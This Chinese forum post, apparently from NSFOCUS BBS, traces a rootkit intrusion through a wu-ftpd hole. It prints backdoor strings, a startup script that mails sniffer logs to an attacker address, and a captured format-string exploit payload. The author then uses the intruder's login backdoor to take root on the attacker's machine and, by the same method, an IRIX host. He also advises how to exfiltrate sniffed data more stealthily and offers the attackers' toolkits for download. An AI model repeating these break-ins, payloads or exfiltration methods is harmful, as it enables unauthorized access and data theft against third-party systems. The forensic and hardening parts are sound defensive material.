追踪分析一名hack
可能是节假日的原因,hack事件特别多,我就遇到了两次
1.昨天当我查询我的一台机器时,意外的发现有人入侵了
其实是我自己的失误,没有打上wuftpd26的补丁,又没有改/etc/ftpusers
让人轻易的利用wuftpd26的远程漏洞用匿名用户进入了我的机器。不过这位朋友显然未加考虑的使用了rootkit
,结果造成ps 输出的结果是这样:
[root@ns]# ps
PID TTY STAT TIME COMMAND
678 1 S 0:00 /sbin/mingetty tty1
679 2 S 0:00 /sbin/mingetty tty2
680 3 S 0:00 /sbin/mingetty tty3
681 4 S 0:00 /sbin/mingetty tty4
682 5 S 0:00 /sbin/mingetty tty5
683 6 S 0:00 /sbin/mingetty tty6
5557 ? S 0:00 /bin/sh -i
5591 ? R 0:00 ps
这样的输出结果我想谁看了都知道是个什么意思。那么就让我们一步一步看看他做了些什么吧
[这位hack没有想到这机器已经早有主人了,并且安装了自己的rootkit工具包]
[root@ns]# strings /bin/login|more
..........
__bss_start
_end
PPRV
DISPLAY
/bin/envpc
l4m3r0x
/bin/sh
从上可以看出是个login后门,通过export PATH=\"l4m3r0x\"后,直接telnet对方就能得到#
[root@ns]# strings /bin/ls|more
.....
always
/usr/local/share/locale
fileutils
GNU fileutils-3.13
vdir
%s - %s
/dev/sgk/.fsdc/.1file
//DIRED//
//SUBDIRED//
POSIXLY_CORRECT
COLUMNS
注意看了, /dev/sgk/.fsdc/.1file这就是他rootkit文件放的位置了,那么让我们看看那儿都有些什么吧
[root@ns]# mv /dev/sgk/.fsdc/.1file /tmp
[root@ns]# ls -la /dev/sgk/.fsdc
total 641
drwxr-xr-x 5 root ftp 1024 Feb 4 09:01 .
drwxr-xr-x 3 root ftp 1024 Feb 2 17:11 ..
-rw-r--r-- 1 root ftp 7 Feb 2 17:11 .1logz
-rw-r--r-- 1 root ftp 88 Feb 2 17:11 .1proc
drwxr-xr-x 2 root ftp 1024 Feb 2 17:11 backup
drwxrwxr-x 2 lujiang lujiang 1024 Feb 2 17:14 clean
-rwxr-xr-x 1 lujiang lujiang 5578 Nov 18 11:08 filetrans
-rwxr-xr-x 1 lujiang lujiang 9396 Aug 23 1999 killall-real
-rwxr-xr-x 1 lujiang lujiang 7578 Aug 21 17:22 parse
-rwxr-xr-x 1 lujiang lujiang 6232 Sep 9 1999 parse1
drwxrwxr-x 2 lujiang lujiang 1024 Jan 28 16:34 patches
-rwxr-xr-x 1 lujiang lujiang 28004 Aug 23 1999 ps-real
-rwxr-xr-x 1 lujiang lujiang 580696 Feb 18 2000 ssh
-rw-r--r-- 1 root ftp 1398 Feb 4 08:55 system
呵呵,看来东西还真不少,从ftp可以知道他是利用的ftP漏洞,从lujiang知道他还窃取了个本地用户
[root@ns .fsdc]# cat .1logz
rshd
[root@ns .fsdc]# cat .1proc
3 nscd
2 nmap
2 lscan
2 login
2 lpset
2 xtty
2 nscd
3 statd
3 lpq
3 scan
3 sniff
3 envpc
[root@ns .fsdc]# cat /tmp/.1file
sgk
.fsdc
.clib
.1proc
.1addr
.1file
.1logz
envpc
xtty
pttys
filetrans
lpset
libload
system
parse
.1logz是被syslogd调用,隐藏所列出命令所产生的记录.
.1proc被ps命令调用.隐藏所列出的进程名称
.1file被ls,find命令掉用.隐藏所列出的文件名,
[root@ns .fsdc]# cd patches
[root@ns patches]# cat patch.sh
#!/bin/sh
echo \"[1] Patching WU-FTPd...\"
rpm -Uhv wuftpd.rpm
echo \"[2] Patching NFS-utils...\"
rpm -Fvh nfs-utils.rpm
ps aux >> /tmp/psaux
if [ \"`cat /tmp/psaux | grep rpc.statd`\" ]; then
echo \"[3] Restarting the rpc.statd daemon (NFS-utils)\"
/etc/rc.d/init.d/nfslock restart
else
echo \"[4] The daemon rpc.statd isn\t running, so no need to restart!\"
fi
rm /tmp/psaux
这是个为wuftpd和rpc.statd漏洞准备的补丁包[我很赞赏此君的做法]
其他的文件目录我就没有仔细看了[这些打包后会提供下载]
根据.1file的隐藏文件列表我们一一找到了这些文件.
[root@ns .fsdc]# strings /usr/bin/xtty
......
PPRV
(nfsiod)
socket
bind
listen
accept
/bin/sh
不难看出是个后门
[root@ns .fsdc]# strings /dev/pttys
#!/bin/sh
cat /dev/sgk/.fsdc/system | mail [email protected] >/dev/null 2>&1
nohup /usr/lib/lpset > /dev/null &
nohup /usr/bin/xtty > /dev/null &
rm -rf nohup.out
这位hack很聪明,通过此脚本就可以把嗅探记录发往[email protected] [/dev/sgk/.fsdc/system是个嗅探记录]
[root@ns .fsdc]# cat /etc/rc.d/rc.sysinit|more
..........
if [ \"$PROMPT\" != \"no\" ]; then
/sbin/getkey i && touch /var/run/confirm
fi
wait
# Name Server Cache Daemon..
/usr/sbin/nscd -q
# Name Server Cache Daemon..
/usr/sbin/nscd -q
# Kernel module checker
/usr/lib/libload > /dev/null 2>&1
[root@ns bak]# strings /usr/sbin/nscd|more
+Q$9
/usr/info/.clib/sshd_config
Received SIGHUP; restarting.
RESTART FAILED: av[0]=\%.100s\, error: %.100s.
Received signal %d; terminating.
Timeout before authentication.
Generating new %d bit RSA key.
RSA key generation complete.
f:p:b:k:h:g:diqV:
i686-unknown-linux
1.2.27
sshd version %s [%s]
Usage: %s [options]
Options:
/usr/info/.clib存放着一个ssh后门,这样机器启动后都会为hack开放方便之门.
[root@ns .fsdc]# strings /sbin/syslogd
============================================================
Time: %s Size: %d
Path: %s
=> %s [%d]
------------------------------------------------------------
Exiting...
cant get SOCK_PACKET socket
cant get flags
cant set promiscuous mode
/dev/null
eth0
system
cant open log
这位hack改动了syslogd文件,变成了一个sniffer
。。。。。。。。。。
接下来就是还原系统了,修改被窃取的帐号密码。这就不在这里表诉了,从我的嗅探记录我知道了他是从这两台机器上来的
[root@ns man]# more system2
============================================================
Time: Fri Feb 2 17:26:07 Size: 1056
Path: 210.217.237.75 => ns.xxx.cn [21]
------------------------------------------------------------
##g#>4h#>4hUSER ftp
#>hPASS 111F11CA?k^11^Ff\1^=11^C11^u1F^=0F1FvFNV110bin0sh1..11
#>h<#?hsite exec xx(%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.
f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f
%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%
.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.
f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f
%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%c%c%c%.f|%p
#@@h
============================================================
Time: Sat Feb 3 06:01:39 Size: 44
Path: 216.12.101.4 => ns.xxx.cn [21]
------------------------------------------------------------
@c@ (B@
============================================================
从上可知hack是从210.217.237.75攻击的,根据习惯,通常都会做一样的后门,所以
[root@ns man]# export DISPLAY=\"l4m3r0x\"
[root@ns man]# telnet 210.217.237.75
Trying 210.217.237.75...
Connected to 210.217.237.75.
Escape character is \^]\.
Boramae Cache Server 3.5.1
bash# w
7:48pm up 71 days, 9:43, 1 user, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
root tty1 - 25Nov 0 31days 0.08s 0.05s -bash
于是我成了这台机器的root
bash# ps -ef
PID TTY STAT TIME COMMAND
940 2 S 0:00 /sbin/mingetty tty2 HOME=/ TERM=linux BOOT_IMAGE=linux AUTO
941 3 S 0:00 /sbin/mingetty tty3 HOME=/ TERM=linux BOOT_IMAGE=linux AUTO
942 4 S 0:00 /sbin/mingetty tty4 HOME=/ TERM=linux BOOT_IMAGE=linux AUTO
943 5 S 0:00 /sbin/mingetty tty5 HOME=/ TERM=linux BOOT_IMAGE=linux AUTO
944 6 S 0:00 /sbin/mingetty tty6 HOME=/ TERM=linux BOOT_IMAGE=linux AUTO
957 1 S 0:00 -bash HOME=/root PATH=/sbin:/bin:/usr/sbin:/usr/bin SHELL=/
22151 ? S 0:00 -bash HOME=/root USER=root LOGNAME=root PATH=/usr/bin:/bin:
22178 ? S 0:00 \\_ ../ssh -l pthl mega.ee.tu-berlin.de LESSOPEN=|/usr/bin/
。。。。。。。。。。
呵呵,看来这台机器跟那台是一样的啊,于是我rcp来了自己的ps,结果看到的情况真是大吃一惊!
root 13204 1 0 2000 ? 00:00:00 /usr/sbin/inetd
root 13211 1 0 2000 ? 00:00:55 /usr/lib/lpset [后门]
root 13243 1 0 2000 ? 00:00:00 /sbin/syslogd [sniffer]
root 24287 1 0 Jan14 ? 00:00:00 ./nscd [后门]
root 19968 1 0 Jan25 ? 00:00:06 ./wu -s0 -t 203.167.30.10 [wuftpd攻击程序]
root 26042 13191 0 Jan28 ? 00:00:00 [sh <defunct>]
root 26144 13191 0 Jan28 ? 00:00:00 [sh <defunct>]
root 4395 13191 0 Jan29 ? 00:00:00 [xtty <defunct>]后门
root 22149 13125 0 18:23 ? 00:00:00 /usr/sbin/nscd -q [后门]
root 22151 22149 0 18:23 pts/0 00:00:00 -bash
root 22178 22151 0 18:24 pts/0 00:00:00 ../ssh -l pthl mega.ee.tu-berlin 正在连接一台机器
root 22231 13125 0 19:11 ? 00:00:00 /usr/sbin/nscd -q
root 22235 22231 0 19:13 pts/2 00:00:00 -bash
root 22679 13204 0 19:48 ? 00:00:00 in.telnetd: 203.93.xxx.xxx [呵呵,自己]
root 22680 22679 0 19:48 pts/3 00:00:00 /bin/login -h 203.93.xxx.xxx -p
root 22681 22680 0 19:48 pts/3 00:00:00 /bin/sh
root 22851 1 0 20:03 pts/2 00:00:00 ./wumail -s0 -t 195.193.46.60
root 22852 1 0 20:03 pts/2 00:00:00 ./wumail -s0 -t 195.191.47.60
root 22854 1 0 20:03 pts/2 00:00:00 ./wumail -s0 -t 195.139.19.60 [正在扫描wuftpd漏洞
root 22856 1 0 20:03 pts/2 00:00:00 ./wumail -s0 -t 195.82.89.60 并且完成攻击,保存记root 22857 1 0 20:03 pts/2 00:00:00 ./wumail -s0 -t 195.16.136.60 录]
..........
[root@proxy .fsdc]# ls -la
total 2240
drwxr-xr-x 6 root ftp 4096 Feb 4 10:57 .
drwxr-xr-x 3 root ftp 4096 Dec 29 22:48 ..
-rw-r--r-- 1 root ftp 7 Dec 29 22:48 .1logz
-rw-r--r-- 1 root ftp 88 Dec 29 22:48 .1proc
drwxr-xr-x 2 root ftp 4096 Dec 29 22:48 backup
drwxrwxr-x 2 admin admin 4096 Dec 29 22:51 clean
-rwxr-xr-x 1 admin admin 5578 Nov 18 11:08 filetrans
-rwxr-xr-x 1 admin admin 9396 Aug 23 1999 killall-real
-rwxr-xr-x 1 admin admin 7578 Aug 21 17:22 parse
..........
看来这位朋友一直都没有使用touch,chown的习惯,没有改变时间和属主名[我想这里是他的家了,里面的工具相当完整,还有大量的嗅探记录,扫描工具,漏洞程序,补丁]
至于如何寻找这些后门前面已经讲过了,这里就不提了。
最后来说说这位hack的不足之处和值得借鉴的地方:
1。没考虑ps命令修改后是否适用的问题 [在另一文中我将提供修改过的ps源程序]
2. 没给机器做一次检查,现在的机器还有这种明显漏洞说不定早有人捷足先登了,也没看看是否有sniffer在运行
3.后门过多,我个人不赞成修改/etc/rc.d下面的文件,因为太容易看出
4.有做相同后门的习惯,[这是个难以克服的缺点,包括我]
5。给机器打上补丁是种聪明的做法,
6。通过mail程序发送嗅探记录是个好办法,但我个人认为在cron里面做要好点,定时间发送,发送完后清空记录,至少我是这样做的
其实这种事情在前几天我都遇见过一次,有位来自61.153.xxx.xxx的朋友的通过他的一台ip为202.103.xxx.xxx
的redhat6.2机器[他在那机器上安装了个login后门,但很遗憾未给机器打上补丁,后被我所用]进入一个irix
系统,当时我正在线上,于是用了他一样的办法rlogin -l sysadm xxxxx进入了那个irix机器[这并非是个简单的 .rhost后门,源程序提供下载]我打包了他的工具,供大家使用.
给管理人员的建议:
1.杜绝远程漏洞,打上补丁
2.如果要使用telnet,ftp, 那么建议修改端口/etc/services
3.把echo 1 > /proc/sys/net/ipv4/icmp_echo_igore_all 添加到/etc/rc.d/rc.loacl中,使本机不被ping成功,这样减少不必要的干扰
4.经常使用rpm命令查看是否常用命令被修改
下面提供这些包的下载[供大家分析][三天过后将删除这些包]
http://202.108.34.22/manual/hack-1.tar.gz [另外一台机器上得到的东西]
http://202.108.34.22/manual/hack-3.tar.gz [这篇文章中那位hack所用的工具包,内容相当丰富]
http://202.108.34.22/manual/hack-irix.tar.gz [文末中提到那位61.153.xxx.xxx的朋友所用的工具包]
发布人:Crystal 来自:绿盟BBS